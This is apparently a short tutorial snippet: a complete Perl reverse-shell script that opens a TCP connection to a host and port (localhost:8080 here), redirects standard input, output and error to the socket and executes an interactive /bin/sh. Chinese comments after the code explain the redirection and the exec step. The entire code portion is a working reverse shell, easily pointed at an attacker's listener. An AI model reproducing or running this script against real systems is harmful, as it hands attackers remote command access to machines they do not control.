1 #!/usr/bin/env perl 2 use warnings; 3 use strict; 4 use Socket; 5 6 my $HOST='localhost'; 7 my $PORT=8080; 8 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); 9 if(connect(S,sockaddr_in($PORT, inet_aton($HOST)))){ 10 open(STDIN,">&S"); 11 open(STDOUT,">&S"); 12 open(STDERR,">&S"); 13 exec("/bin/sh -i"); 14 }
上面的open是为了重定向, 把socket的所有重定向到shell的所有
最后的exec是为了跳进/bin/sh
因为前面已把 S 跟STDIN STDOUT STDERR连接了起来